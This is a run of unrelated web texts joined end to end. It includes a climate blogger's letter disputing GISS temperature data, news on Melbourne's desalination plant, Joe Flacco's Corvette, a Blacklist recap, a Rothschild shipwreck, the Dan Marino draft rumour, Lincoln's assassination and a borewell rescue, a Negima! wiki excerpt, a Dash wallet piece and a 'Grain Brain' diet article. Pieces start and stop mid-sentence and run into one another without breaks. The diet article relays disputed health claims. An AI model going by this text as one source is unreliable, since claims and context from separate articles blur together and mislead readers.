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the Southern Hemisphere, and, as you’ll note, I’ve excluded the Antarctic data. The period starting in January 2000 has a much higher trend than the earlier period. That’s really odd since the GHCN and CRUTEM3 data in Figure 9 should be using data similar to, if not the same as, GISS, but their trend is less during the later period. And as you’ll note, the GISS trend for the period starting in 2000 is about 2.8 times higher than the average of the other two datasets.
Figure 10
That made me wonder if the coverage of the GISS land-only temperature data (250km smoothing) was in fact similar to the GHCN and CRUTEM3 datasets, so I used the map-making feature of the KNMI Climate Explorer to run a quick comparison of spatial coverage. I set the map type so that it would display grids and areas where data existed, and I set the contours so that the grids and areas wouldn’t offer any distractions by changing colors. I plotted the Southern Hemisphere for each January starting in 1982, and animated the sequence of maps. This was just a cursory look. It appears that GISS excludes grids or stations in the Southern Hemisphere sooner than the other two and GISS seems to have less coverage than GHCN and CRUTEM3 as time progresses. You may need to click on the animation to view it.
Animation 1
James, you should look into this matter. I don’t have the time or the inclination to carry this investigation any further.
Some persons might think GISS has been manipulating data to acquire a higher land surface temperature anomaly trend in recent years. They also might assume GISS has been reducing coverage in recent years to create a little more variability, thereby increasing the chances for new record temperatures with each El Niño. And the way that all suppliers of temperature data appear to use data for a grid one year but not the next, and then have data for that grid reappear a year or two later, may lead some persons to think data is being cherry picked for use. We wouldn’t want people to think those things.
Final note: As you know, GISS, in effect, deletes sea surface temperature data in areas of seasonal sea ice and replaces it with much-more-variable land surface temperature data. This, of course, creates a warming bias at the poles in the GISS data. Refer to the zonal-mean graph in Figure 11 that compares the linear trends of the Reynolds OI.v2 data and the version of it with the GISS modifications, for the period of January 1982 to October 2011. It’s from my most recent post that discusses this subject: The Impact of GISS Replacing Sea Surface Temperature Data With Land Surface Temperature Data.
Figure 11
Because of that monumental bias, when I present GISS Land-Ocean Temperature Index data, I usually limit the latitudes to exclude polar data. Now, with this find in your land surface temperature data, I’ve had to switch to an average of the GHCN and CRUTEM3 data for that chapter of Who Turned on the Heat? The Unsuspected Global Warming Culprit, El Niño-Southern Oscillation.Sorry to say, but with all of the biases toward warming, your GISS LOTI data, in my eyes, is becoming more and more unsuitable for research.
Sincerely,
Bob Tisdale
SOURCE
The data and the maps used in this post are available through the KNMI Climate Explorer.The desalination plant has roused Australian passions in the city of Melbourne
By James Melik
Business reporter, BBC World Service
On the southern coast of Australia, the state of Victoria is now in its tenth year of drought. The authorities blame the current shortage of water on the weather phenomenon known as El Nino. The warming of the eastern and central Pacific Ocean has shifted weather patterns - increasing rain in some places but dramatically cutting it in others, like Australia. Everyone agrees there is an increasing need for more water - but disagreements arise when it comes to deciding how to provide it. Farmers are experiencing a lot of pain - there was a stage when a farmer was committing suicide every day
Tony Kelly Yarra Valley Water Aquasure - comprising of the French firm Suez, the Australian utility company Thiess and Macquarie Capital, has been awarded a tender to construct a desalination plant. It is is expected to supply 150 billion litres of water to Melbourne each year. The project is the biggest public-private partnership in the history of Australia, costing A$3.5bn ($3.1bn, £2.1bn) There is however, strong opposition and a group called Watershed is meeting on 2 March to formulate its strategy on how to get it cancelled. Deteriorating conditions Regardless of the opposing views on global warming, the evidence of dried up reservoirs is there for all to see. "Over the last six years the flow into our reservoirs has been lower than anything experienced over the last 10, 20 or even 100 years," says Tony Kelly at Yarra Valley Water. Water levels are at their lowest since records began 140 years ago "Over a 12-month period we went from no restrictions to very severe restrictions," he says, "and we face the awful prospect of Melbourne running out of water." "Farmers are also experiencing a lot of pain," he adds. "There was a stage when a farmer was committing suicide every day." Utility companies traditionally rely on surface water but they can no longer do so. "People need to think about long-term management of water," Mr Kelly says. Alternative solutions Companies are looking at new ways of getting water and new ways of re-using old water. Water wastage An inefficient shower head uses between 15-20 litres a minutes Each flush of a toilet can be between three and 11 litres A full load of clothes can use between 100 and 300 litres Furthermore, local authorities are encouraging citizens to use less water and the target is to get individuals to use no more than 155 litres of water a day. Watershed believes this is the best solution to tackle the problem. In the city, there are bans on watering gardens outside set times, and on washing cars. There are grants to sports clubs to change the turf to grass that needs less water and there has been a big growth in the sale of huge green water tanks to collect rain water off the roofs of houses. Apart from the tanks, there are other water-saving devices like switches that only allow so much water for a bath, or a shower head that lets less water through. Economic reality The desalination plant will suck water from the Tasmanian sea and after treatment, it will supply about a third of Melbourne's water. There are desalination plants around the Mediterranean Sea and the Gulf states have no option but to use them, but it an expensive way of obtaining water. "We have to have more that 100 megawatts of power," says Chris Herbert of Aquasure. "A gigantic wind farm will be needed to supply the amount of energy we need." He says that desalinated water probably costs two or three times more than if you had to build a dam and reticulation system, but it would have cost more a few years ago. "The energy consumption to produce a litre of water has declined as technology has improved," he says. Stephen Cannon at Watershed says this creates a necessity to make a profit from water. The first pipes for a desalination plant near Melbourne were laid in February "With this level of expensive "new" water in the system, where will the incentive be for a sustainable water policy over the coming decades?" he asks. He says the state government has abandoned a business case to make use of recycled water from an upgrade to the Eastern Treatment Plant. That means 100 billion litres of Class-A recycled water will be pumped out to sea. "The government has said it will be able to find a use for only 40 billion of this 100 billion litres," he says. He believes large savings could be made by not using potable water where it is not required and by delivering water efficient devices into all homes and businesses. "What will be the fate of these options when a consortium has designed contracts with its profits in mind?" he adds. Ecological concerns Mr Cannon says the initial objective of Watershed was to prevent a desalination plant being built. But as pipes are already being laid, he says the second objective it to get the best outcome upon completion. The main concern of environmentalists is the disposal of the concentrated brine once it has been extracted from the water. Original plans showed that Aquasure intended to pipe the effluent 1.8 kilometres out to a flat sandy area, to aid dispersion. Because of the costs involved however, that pipe is now expected to go only half that distance. Dr Jochen Kaempf, an oceanographer at Flinders University, is particularly concerned about the impact that would have on marine life. "There is a severe risk and there will be severe consequences for the ecology of the region," he warns.
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StumbleUpon What are these? E-mail this to a friend Printable versionSuper Bowl MVP Joe Flacco gets a new Chevrolet Corvette
Baltimore Ravens quarterback Joe Flacco looks at the inside of 2014 Corvette Stingray, given to him as MVP (Photo11: Darron Cummings, AP)
Personally, the silver, Tiffany-made Pete Rozelle Trophy is nice, but if we were Baltimore Ravens quarterback Joe Flacco, we'd rather have the keys to the 2014 Corvette Stingray.
In keeping with tradition, the MVP of the Super Bowl always gets the cup and the car. But this year, it's no ordinary Corvette.
Flacco becomes one of the first to own the star of last month's North American International Auto Show. The new Corvette has sports-car fans salivating -- and Flacco gets a bright red one. Like Flacco, the car offers super-performance -- 450 horsepower and zero to 60 mph acceleration in four seconds.
It comes to him from Banner Chevrolet, a dealership that was wiped out, losing 650 new vehicles and its used-car inventory, when Hurricane Katrina hit New Orleans in 2005. It was chosen to present the car.
"Banner Chevrolet and the entire city of New Orleans have been through so much since the storm, we felt this was a small gesture to bring the comeback story full circle," said Alan Batey, a GM vice president, in a statement. "With the Super Bowl in his backyard, we couldn't think of a better guy to have the honor of awarding the MVP with his Corvette Stingray."
Banner Chevrolet was of the largest losses ever recorded for a dealership in the United States and recently completed a massive multimillion-dollar renovation with state-of-the-art technology. Banner is the only Chevrolet dealer in Orleans Parrish.
Read or Share this story: http://usat.ly/WMuRvNNBC’s hit series The Blacklist hasn’t always been flawless. It has compelling characters and engaging stories (and James Spader), but it hasn’t always been able to figure out a way to combine both elements in order to create a cohesive story. Sometimes the series feels like one rabbit trail after another, to be honest. But this season, The Blacklist has started to find its groove again by providing us with answers to questions, villains that are complex, and some dark material for Elizabeth Keen. All three elements are aiding to ground a series that occasionally feels reckless and provide growth and development for its characters, especially Liz and Red.
Before the series’ highly anticipated return after the Super Bowl, let’s review where we left off and discuss what we have to look forward to in the back half of this season, shall we?
Where we left off: Berlin and Alan Fitch are both dead – the former at the hands of Red after a long night of drinking and laughing and reminiscing and the latter at the hands of a bomb that detonated in Red’s old giant cube of isolation (I know that’s not what it is but it’s what I will continue to refer to it as such because it’s more amusing that way). With both “big bads” of the series dead, surely that means paradise for our morally ambiguous Raymond Reddington, right?
What I’m looking forward to: … Wrong. It looks like Red is going to be in more trouble than ever when he’s arrested and taken to a detention facility in The Blacklist’s big two-part Super Bowl episode. Will the task force be eager to try and save him? I’m additionally looking forward to the guest appearance of Ron Perlman, a thief that has a history with Red and will be in the same detention facility. From the preview video released, it looks like it’ll be about as action-packed and bloody as “Anslo Garrick” and its conclusion were.
Where we left off: Liz interrogated Tom and couldn’t kill him when forced with the opportunity to do so (multiple times, actually). The woman interrogated Tom and got valuable information from him but was unable to actually go through with killing him. Letting him go proved to be a benefit to Tom who met up with Red at the end of the episode with an envelope and a promise that he never told Liz about their working relationship.
What I’m looking forward to: More of Tom? Darker Liz? Whatever the case, sign me up for both. Except maybe the “more of Tom” part. I’m hopeful that we’ll get some clarification as to Tom and Red’s relationship – how long have the two been in communication? Have they been working together the whole time? If so… how? And, more importantly, WHY?
Where we left off: Red and Liz had a really nice heart-to-heart in the boat where Tom had been being held captive, where Red told Liz that the reason she couldn’t kill Tom was because she loved him, once. And love is powerful that way.
What I’m looking forward to: I would like more of Red and Liz repairing their fractured relationship. Although, since the whole Tom of it all is now out in the open, I’m afraid this season will end with her finding out about Red’s secrets in one way or another. For now, at least, let’s have some happy moments, ‘kay? Or at least some funny ones.
Ressler is trying to get clean after his addiction to painkillers and Liz brought him into the loop regarding the fact that Tom was actually alive and she was holding him captive.
What I’m looking forward to: Hopefully more Ressler/Liz interactions. These two have grown a lot in their trust, respect, and care for one another since the pilot episode. And clearly Liz trusts Ressler enough to let him in on the secret with Tom. I’m hopeful that the rest of this season will have them teaming up more. They are partners, after all. From the looks of the post-Super Bowl episode, Ressler will be in near-mortal peril (again… geez, can he not catch a break?) again, but this time with Samar.
Where we left off: Red monologuing.
What I’m looking forward to: Red monologuing. Because let’s be real, here: no one can monologue and spin tales as well as James Spader can.
Photos from “Luther Braxton”
A behind the scenes look at The Blacklist:
You might also like:The wife of Israeli Interior Minister Silvan Shalom Sunday apologized for a joke she tweeted in which she compared U.S. President Barack Obama to coffee that is "black and weak." Television personality Judy Nir Mozes was sharply criticized on social media for the tweet with one follower responding, "No doubt racism has no connection to brains."
The offending tweet read: "Do u know what Obama Coffee is? Black and weak." It has since been removed. Mozes then apologized both in Hebrew and English, saying it was a joke someone had shared with her.
שמעתי בדיחה לא מוצלחת, מטופשת ציטטתי וזו היתה שטות מטופשת. לא התכוונתי, לא מכובד ולא מתאים. קורה — Judy Mozes (@JudyMozes) June 21, 2015
I apologize, that was a stupid joke somebody told me. — Judy Mozes (@JudyMozes) June 21, 2015
It's not the first time Mozes has run into controversy, the Jerusalem Post reported. She resigned from Unicef in 2012 after posting remarks on Facebook supporting government action in Gaza and criticizing Palestinians.
“There is nothing I value more than human life,” she wrote. “How is it possible to make peace with people whose children are fed hatred towards Israel from the moment they are born? How is it possible to make peace with people who have it in their DNA to hate us? I am willing to make real peace at any price. The problem is that there is no partner. I wish I was wrong.”
The post was followed two days later with: “I very much hope that Bibi [Prime Minister Benjamin Netanyahu] will not surrender to the pressures of our enemies and continue the operation until the last terrorist is murdered in Gaza.”The fate of a ship sent to Palestine by Baron Edmond de Rothschild in the 1890s may finally have been revealed, after researchers identified Monday a wreck off the north shore of Israel as the ship. While the wreckage was discovered off Dor Beach near Zichron Ya'acov in 1976, researchers positively verified its identity Monday.
Rothschild, the wealthy French banker and philanthropist, sent three ships in the 1890s to bring raw materials from France to his glass factory in Zichron Ya'acov to help make wine bottles for several nearby wineries that he owned. Rothschild, an ardent Zionist, helped fund early Jewish settlements in the Holy Land, and began the wineries and the glass factory to develop greater industry in the region. But while the first two ships arrived safely at their destination to deliver their cargo, nothing was known for years on the fate of the third.
"Records from the time show that two [of the ships] were sold, while no information is listed whatsoever about the third ship," said Deborah Cvikel and Micky Holtzman, maritime researchers at University of Haifa, who led the investigation, in a statement, according to the Jerusalem Post.
In 1999, archaeologists tried to date the two-masted schooner off Dor Beach, which matched the description of the baron's ships, using carbon-14 dating of the wood, but could only put the shipwreck in a 300-year range, between 1660 and 1960, according to Haaretz. But an investigation in 2008 examining the ship's cargo revealed more positive identifiers – pots, earthenware, ceramic tiles, barrels and crates.
"The ship we have found is structurally consistent with the specifications of the baron's ships, carried a similar cargo, and sailed and sank during the right period," said Cvickel and Holtzman, reported the Israeli newspaper Haaretz.
Six factory stamps found on the ship's artifacts uncovered during the 2008 investigation came from French factories active in the late 19th century, including a lion motif from a company called Guichard Frères, which operated in Marseille only from 1889 to 1897. That narrowed the wreck down the exact time that the baron's ships sailed and all but confirmed its identity.
"There seem to be more than a few items that connect it with Zichron Ya'akov, with the glass factory at Tantura, and with the baron’s ships," said the University of Haifa researchers in a press release. "Perhaps we can now conclude that the third ship was not sold and condemned to obscurity like its sisters, but sank with its cargo still on board.”B/R via Getty Images
Editor's note: This is the fifth installment in Bleacher Report's series on NFL urban legends. Part 1 looked at Bo Jackson's hard-to-believe 40-yard-dash time, Part 2 at Ray Guy's purported helium-aided punts, Part 3 at the NFL's first 1,000-yard season, Part 4 at Donovan McNabb and the much-talked-about Super Puke.
The 1983 NFL draft was a turning point in American sports history, the event that suddenly got casual fans interested in the once-dreary business of announcing which amateur player would play for which professional team.
It was a perfect confluence of circumstances: a historic class of college greats, a rival league adding intrigue and a new medium—cable television—eager to turn the recitation of names into programming gold.
It's no wonder that it has become the stuff of legend. But it is also the stuff of urban legend.
Modern fans find it hard to believe that a future Hall of Fame quarterback fell to the bottom of the first round due to ordinary draft forces. Some sinister foul play had to be afoot.
The legend: A drug rumor caused Dan Marino to slip to the 27th overall pick in the 1983 draft. The rumor was started by someone inside the NFL, perhaps someone in the Dolphins organization, to cause Marino to fall into a successful team's lap.
What we know: The 1982-83 Marino drug rumors were real. Real rumors, anyway. Marvin Demoff, Marino's agent, heard them in the weeks leading up to the draft. "I started representing him, and I realized there were at least questions," Demoff said.
The rumors wafted their way down to the media. Ray Didinger covered the NFL for the Philadelphia Daily News in 1983, and he heard the rumors about the popular cross-state college star. "It was certainly out there that there were 'issues' with Marino," he said.
The rumor was pervasive and convincing enough that former Steelers coach Chuck Noll admitted in a 1992 Associated Press interview to passing on Marino specifically because of the rumor. The Steelers, of course, were close to the epicenter of all things Marino in 1982—Marino grew up in Pittsburgh and went to Pitt—at a time when being geographically close to a story made a big difference.
But the impact of the rumor may have become overstated as the decades passed. And the rumor does not seem to have originated within the NFL.
"I never heard it from a team," Demoff said. "Ever."
Teams were more likely to give Demoff football-focused reasons for passing over Marino, and the agent doesn't believe they were beating around the bush.
"I heard more about how he held the football," Demoff said.
Ron Heflin/Associated Press
Also, the drug rumors originally suggested that Marino was a partier, not a serious drug abuser.
"It started off with just the idea that he was partying," Didinger recalled. "Then it grew more sinister from that."
"People absolutely looked at it that there was a group of guys on the Panthers that just had too good a time," Demoff said. "It was never about addiction."
The Marino drug rumor was so prevalent at the end of the 1982 college season that Pitt actually tested Marino for drugs. Demoff knew about the test.
"[Marino] told me that the school had heard about a group of players using marijuana or drugs, and they internally tested all the players. They were all clean," Demoff said.
News of the test was public by 1984, when the New York Times reported about it during Marino's rise to record-breaking stardom. But in those crucial spring days leading up to the 1983 draft, the drug test was locked away in some university office.
We should probably reorient ourselves to what "draft season" was like 32 years ago.
Agents like Demoff were relatively new arrivals to the draft process; some high-profile players still did not retain agents before the draft, and the agent's role had not been formalized and standardized.
National reporters like Didinger covered the draft—really, the entire NFL offseason—using mimeographed press releases and landline phone conversations. "Draft coverage" was a handful of articles about collegiate superstars in the local paper before the draft, some profiles of the home team's picks after the draft and a few features in Sports Illustrated.
No mock drafts, no national television coverage of the combine, no tweets, no daily "23 Safeties the Eagles Might Draft" slideshows, no easy way (or real precedent) for an agent to text message dozens of general managers, reporters and insiders with news that drug rumors were unfounded.
In fact, the whole concept of "drug rumors" was new. The national conversation about drug abuse as anything more than some hippie phenomenon was still in its infancy.
Nancy Reagan first uttered "Just Say No" to school children in 1982 while Marino was struggling through his senior season. The sports world was still two years away from the Curtis Strong trials, the average fan's first real exposure to the prevalence of cocaine in team clubhouses in the early 1980s.
A news report from autumn of 1982 reveals the state of sports-drug conversations of the time. The Big Ten issued drug-use questionnaires to its student athletes, concluding that "less than 5 percent" were using "heavier" drugs than marijuana, and stating that the conference did not have a major drug problem.
"It's minimal at Ohio State and we deal with it like any other illness or injury," said Dr. Robert Murphy, the Ohio State team physician, in a UPI story from August 1982.
So we aren't exactly dealing with the modern infrastructure for collegiate drug use. Noll said it best in his 1992 interview: "This was a time when no one knew anything about drugs at all."
There are two other 1982-83-specific variables to deal with: the USFL and the NFL player's strike. Marino was drafted by the USFL before the NFL draft. Anyone starting a malicious drug rumor to lower Marino's draft stock would have been playing a dangerous game of chicken. Marino could easily have followed Herschel Walker and Jim Kelly to the USFL if he didn't like his NFL situation.
The 1982 strike made Marino the most important active quarterback in the United States from late September to early October. Not the most important college quarterback, but the most popular, important and potentially best quarterback anyone had a chance to watch each weekend.
The pros were on strike. John Elway played for a so-so West Coast team. Pitt was coming off an 11-1 season and a Sugar Bowl win in 1981; Marino threw 37 touchdowns as a junior. The Panthers were national championship contenders with a 1982 schedule front-loaded with ranked opponents like North Carolina and archrival West Virginia.
Thanks to the strike, those big games became the biggest games on the typical fan, sports writer and gambler's schedule.
Marino stunk in those early contests. Even Demoff, not representing anyone in that 1983 class yet, noticed when he watched the Panthers edge the Tar Heels 7-6 in the season opener. "It was a very nothing game. We started wondering about what was wrong."
CAROL BAUMAN/Associated Press
"What's wrong with Marino?" became a national story as Marino threw interceptions and the Panthers narrowly edged, then began losing to, other powerhouses. They also gained a reputation for sloppy play.
Writer Ron Reid itemized a list of Pitt blunders in a 1982 article for the Philadelphia Inquirer: The Panthers burned two timeouts getting the right personnel on the field in a narrow win over Syracuse; Marino and a linebacker had a sideline scuffle in the West Virginia game; the team seemed to quit in a loss to Notre Dame.
"Pitt thus has generated more catcalls than applause this season while enduring a constant drumbeat of fan and media criticism," Reid wrote, noting that much of the criticism for a then-9-1 team was a little silly. But sideline scuffles and wrong-guys-on-the-field confusion are exactly the kinds of mistakes that can provoke whispers that players may have other things on their minds than the opponent.
Foge Fazio, Pitt's first-year head coach in 1982, hinted in a 1984 New York Times article that gamblers started the rumors.
"A lot of it was disappointment we didn't beat the point spread," Fazio said. "That's where the viciousness came out."
The Panthers did, in fact, fail to cover the spread several times in 1982. But the viciousness went beyond disappointed gamblers: Reid's stories from 1982 are full of tales of Marino, Pitt and Fazio getting booed or subjected to withering criticism. And neither professional handicappers nor bookies get any juice from spreading drug rumors that could skew the very point spreads they depend upon to make money.
The rumor probably didn't have one traceable source. It was just speculation that took on its own life. But Demoff doesn't remember it as a conspiracy that doomed Marino to fall to 27th in the draft.
"People started finding reasons to not like Marino, and I think that the drug rumors were just another thing that they threw on the pile," he said.
Once a few teams passed on Marino at the start of the NFL draft, a herd mentality kicked in.
"This happens in a lot of drafts," Didinger said. "Once a guy starts falling, everybody runs the other way. Everyone assumes everyone else knows something, and they back away."
After 32 years, we have forgotten the details of Marino's miserable senior year and the primitive nature of scouting, player representation, reporting and NCAA and NFL drug policies in 1982 and 1983.
We have also forgotten what exceptional prospects Todd Blackledge and Tony Eason were and what a state of upheaval the NFL was in just months after a players strike, with the USFL poaching outstanding college players.
The drug story, easy to comprehend and salacious, has been retconned from minor to major because of Marino's slide.
Demoff said, "I think it is a lot easier for people to explain this now by saying something like that versus saying, 'Well, the horse ran a bad race in the mud, so we figured how that's how he's going to run forever.' "
There is still one element of the 1983 Marino draft story that can never be explained. Jets coach Joe Walton was a close friend of Fazio. Demoff remembers Fazio calling Walton just days before the draft to vouch for Marino.
Draft day came, and the Sheraton Hotel balcony was crowded with eager Jets fans. Didinger recalls "Dan Marino" chants emanating from the rafters. Commissioner Pete Rozelle stepped to the microphone and announced that, "With the 24th pick, the New York Jets select quarterback…"
Pause.
"I don't think Rozelle did it on purpose," Didinger said. "But for dramatic effect, he couldn't have done it better."
"Ken O'Brien, University of California Davis," Rozelle finished.
G. Paul Burnett/Associated Press
"The cheers turned to screams of anguish—and then boos, in just a second," Didinger said.
Yeah, O'Brien had a nice little career. But he was no Marino. No amount of drug rumors can explain how the Jets always manage to be the Jets.
Mike Tanier covers the NFL for Bleacher Report. Reports referenced in the series were accessed through NewsLibrary.com, Newspapers.com and NewspaperArchive.com. Links to those sources have been provided where possible.On this day in 1865, John Wilkes Booth, an actor and Confederate sympathizer, fatally shoots President Abraham Lincoln at a play at Ford’s Theater in Washington, D.C. The attack came only five days after Confederate General Robert E. Lee surrendered his massive army at Appomattox Court House, Virginia, effectively ending the American Civil War.
Booth, a Maryland native born in 1838, who remained in the North during the war despite his Confederate sympathies, initially plotted to capture President Lincoln and take him to Richmond, the Confederate capital. However, on March 20, 1865, the day of the planned kidnapping, the president failed to appear at the spot where Booth and his six fellow conspirators lay in wait. Two weeks later, Richmond fell to Union forces.
In April, with Confederate armies near collapse across the South, Booth hatched a desperate plan to save the Confederacy. Learning that Lincoln was to attend a performance of “Our American Cousin” at Ford’s Theater on April 14, Booth masterminded the simultaneous assassination of Lincoln, Vice President Andrew Johnson and Secretary of State William H. Seward. By murdering the president and two of his possible successors, Booth and his conspirators hoped to throw the U.S. government into disarray.
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On the evening of April 14, conspirator Lewis T. Powell burst into Secretary of State Seward’s home, seriously wounding him and three others, while George A. Atzerodt, assigned to Vice President Johnson, lost his nerve and fled. Meanwhile, just after 10 p.m., Booth entered Lincoln’s private theater box unnoticed and shot the president with a single bullet in the back of his head. Slashing an army officer who rushed at him, Booth leapt to the stage and shouted “Sic semper tyrannis! [Thus always to tyrants]–the South is avenged!” Although Booth broke his leg jumping from Lincoln’s box, he managed to escape Washington on horseback.
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The president, mortally wounded, was carried to a lodging house opposite Ford’s Theater. About 7:22 a.m. the next morning, Lincoln, age 56, died–the first U.S. president to be assassinated. Booth, pursued by the army and other secret forces, was finally cornered in a barn near Bowling Green, Virginia, and died from a possibly self-inflicted bullet wound as the barn was burned to the ground. Of the eight other people eventually charged with the conspiracy, four were hanged and four were jailed. Lincoln, the 16th U.S. president, was buried on May 4, 1865, in Springfield, Illinois.A six-year-old boy fell into an open borewell today at Sulikeri village, some 15 km from here, following which authorities have launched rescue operation.
"Efforts are on to rescue him," Bagalkot Deputy Commissioner P A Meghannavar said.
Tipanna Hatti fell into the 300-feet borewell in his father's sugarcane field while he had gone there with his 12-year-old cousin at around 2.15 pm, Meghannavar said.
Special rescue teams from Hatti Gold Mines have been sought by the district administration to expedite the efforts to rescue him, he said.
The boy is at a depth of 150 feet and rescuers are trying to gain access, he said, adding, at present two earth removal machines are being engaged in the operation.
Oxygen is being supplied into the borwell to keep the boy alive, Meghannavar said. "We could hear the boy calling amma, amma (mother)," he said.
District Incharge Minister S R Patil is also camping at the site, supervising the rescue operations.
On June 17, a four-year-old girl had fallen into an open borewell at Nagathana village, near Bijapur and she was found dead after a 50-hour-long rescue operation."Negima!" and "Negima" redirect here. For the spin-off, see Negima!?
Negima! Magister Negi Magi, known in Japan as Magical Teacher Negima! (Japanese: 魔法先生ネギま!, Hepburn: Mahō Sensei Negima!), is a manga series written and illustrated by Ken Akamatsu, known for his best-selling title Love Hina. It was serialized in Weekly Shōnen Magazine from 2003 to 2012, with the chapters collected into 38 tankōbon volumes by Kodansha.
Negima! has been adapted into two anime television series, the first created by Xebec aired in the first half of 2005 and followed the manga, while the second is an alternate retelling of the series by Shaft titled Negima!?. In addition to four different sets of original video animations and an animated movie, a live-action television series has also been produced. The manga was being translated into English and published by Del Rey Manga in the United States and Canada until Kodansha established a U.S. division in 2010 and finished the release,[3] while the series is licensed for distribution in the United Kingdom by Tanoshimi. Both anime and the second OVAs were licensed and dubbed in English by Funimation in North America. Sentai Filmworks has now licensed the series.[4]
Akamatsu collaborated with an artist named Yui to write the spin-off Negiho in 2010. In 2013, Akamatsu began a sequel/spin off titled UQ Holder! that focuses on Negi's grandson, Tōta Konoe, and follows a more science fiction-/action-oriented plot.
Overview [ edit ]
Negi Springfield, a ten-year-old wizard, aspires to become a "Magister Magi", a special wizard who, under the guise of working under a NGO, uses his powers to help normal people. After graduating from the Merdiana Magic Academy in Wales, he is assigned the task of teaching English at Mahora Academy's middle school, where his homeroom class consists of 31 girls, each very special in her own way. The series details his time and adventures in Japan as he gains acceptance and respect from his students, helps them in their problems, and faces magical threats from inside and outside Mahora Academy. Although each of the girls has her own back story and personality, Negi's main relationship is with Asuna Kagurazaka, his student and roommate, who dislikes him initially but later accepts him as a friend and becomes his partner. He is also searching for his father who is known as the Thousand Master.
The series, while initially appearing to be another romantic comedy work featuring numerous bishōjo characters like Love Hina, has progressed into a mix of shōnen action, fantasy, horror, romance and comedy. Akamatsu stated that he specifically wanted to do something "different" from Love Hina. Negi himself is prepubescent, and many of his scenes with Asuna are specific subversions of the "awkward romantic scene" tendency of harem manga, quickly defused and only played for laughs. In addition, many of the girls are able to fawn over him in a childish sense without any romantic expectations from the reader.[original research?]
In keeping with this style, Negi himself is seen as a contrast to Love Hina's Keitaro Urashima and other typical male leads of manga. He is hardworking, capable, and treated kindly, but due to his appearance and age (well below most of his students), he feels completely non-threatening and |
as Dashpay. It paves the way for the upcoming Evolution ecosystem. Offering more user-friendliness and introducing advanced feature are two things to look forward to. Joint accounts, for example, have been off-limits to nearly all altcoin enthusiasts so far.
Copay for Dash is a big Step Forward
It is quite interesting to see a Copay version for Dash. This goes to show the community is looking for more secure and advanced solutions. Dashpay will also introduce recurring payment options in the future. Cryptocurrency and recurring payments have always been a difficult mix. By default, no cryptocurrency protocol supports recurring transactions automatically. With this Dashpay wallet, that feature will soon come to Dash users all over the world.
Although this is still the closed alpha testing stage, a lot of progress can be made. More specifically, we may see a fully functioning Copay wallet for Dash before the year is over. This also marks the first step toward creating a more versatile Dash ecosystem as a whole. Evolution is an integral part of the roadmap for this particular cryptocurrency. Big things are scheduled to happen in the first half of 2018. Dashpay will help facilitate this transition by providing convenient access to new solutions.
It will be interesting to see if other cryptocurrencies explore the Copay option in the future. After all, the concept has a lot of merit in its current stage. Joint accounts for all major currencies would be a good place to start. The Dash team has some other exciting features to launch in the next few months. DashPay is a big part, as this new concept will receive its own decentralized wallets as well. The future looks very bright for this popular altcoin, assuming the developers can deliver.IF you had cereal for breakfast or just scoffed a sandwich for lunch, maybe don't read this. Because grains are destroying your brain, according to this doctor.
David Perlmutter, a renowned neurologist and president of the Perlmutter Health Center in Naples, Florida, says there's a close relationship between lifestyle, our modern diet and dementia.
Dr Perlmutter, who has just released a New York Times best-selling book Grain Brain: The Surprising Truth About Wheat, Carbs, and Sugar - Your Brain's Silent Killers says it's not just unhealthy carbs that should be cut.
He says eating grains can lead to dementia, chronic headaches, depression, epilepsy and other health problems.
"Even healthy ones like whole grains can cause dementia, ADHD, anxiety, chronic headaches, depression, and much more," his website says.
Dr Perlmutter, a Fellow of the American College of Nutrition, says our brains thrive on fat and cholesterol but suffer when we eat grains.
He says that Alzheimer's and other debilitating diseases are preventable with major lifestyle and dietary changes.
News_Image_File: Fresh bread is hard to give up. Picture: Thinkstock.
In a piece on Mind Body Green, The Surprising Ways Grains Are Destroying Your Brain, Dr Perlmutter says that despite advances in medical science, society is desperately losing the battle when it comes to the condition.
"Lifestyle factors are profoundly influential in determining risk for Alzheimer's, and yet, perhaps because they cannot be monetised, no one is bringing this information to public awareness," he wrote.
He says the risk of Alzheimer's disease can be reduced by adopting a dramatically lower carbohydrate diet (below 60-80 grams daily), adding more fats - such as extra-virgin olive oil, coconut oil, grass-fed beef, and wild caught fish - to the diet, doing aerobic exercise and taking a DHA supplement.
Dr Perlmutter told Forbes his suggested menu adheres more closely to the way mankind has eaten for most of human history.
"Perlmutter says we need to return to the eating habits of early man, a diet generally thought to be about 75% fat and 5% carbs. The average U.S. diet today features about 60% carbs and 20% fat. (A 20% share of dietary protein has remained fairly consistent, experts believe.)" Forbes reports.
"Human genes, he says, have evolved over thousands of years to accommodate a high-fat, low-carb diet. But today we feed our bodies almost the opposite, with seemingly major effects on our brains."
News_Image_File: Even ancient grains aren't safe, according to Dr Perlmutter. Picture: PERSONAL OZ.
Dr Perlmutter told Forbes low-fat diets are "deeply responsible for most of our modern ills".
He says people who eat more fat tend to store less fat in their bodies.
"We like to think a wholegrain bagel and orange juice makes for the perfect breakfast but that bagel has 400 calories, almost completely carbohydrates with gluten," he told Forbes.
"And the hidden source of carbs in this picture is that 12-ounce glass of fresh-squeezed orange juice. It has nine full teaspoons of pure sugar, the same as a can of Coke. It's doing a service with vitamin C, but you've already gotten 72 grams of carbs.
"It's time to relearn, You can have vegetables at breakfast - the world won't come to an end. You can have smoked salmon, free-range eggs with olive oil and organic goat cheese and you're ready for the day. And you're not having a high-carb breakfast that can cause you to bang on a vending machine at 10am because your blood sugar is plummeting and your brain isn't working."
News_Image_File: No more trips to the bakery. Picture: Getty.
In a recent interview with Next Avenue Dr Perlmutter said food is information.
"It interacts with and instructs our genome with every mouthful, changing genetic expression".
While Dr Perlmutter's position is supported by a range of studies, the controversial author has his critics, who say his book is "misleading and sensationalist".
The Grains & Legumes Nutrition Council (GLNC) strongly contests the theories put forward in Dr Perlmutter's book.
GLNC nutrition program manager Michelle Broom says that current evidence-based science about the impact of grain foods on nutrition and health benefits is contrary to his theories.
"Based on this body of scientific evidence about the impact of grain foods on nutrition and health benefits, GLNC encourages Australians to enjoy grain foods 3-4 times a day, choosing at least half as whole grain or high fibre foods within a balanced diet," she said.
"Dr Perlmutter draws on personal experiences, individual case studies, studies and opinion pieces to substantiate his argument rather than considering the entire body of evidence in a balanced way. As such, Dr Perlmutter's position lacks a conclusive scientific base.
"When the total body of evidence is considered, it is clear the claims that all carbohydrate foods, particularly grain foods, are harmful to the majority of the population don't stack up. In fact the book contradicts this main premise, as Dr Perlmutter's dietary recommendations allow a range of carbohydrate foods in moderation including grains such as amaranth, buckwheat, rice, millet, quinoa, sorghum, teff, oats as well as legumes, fruit and dairy."
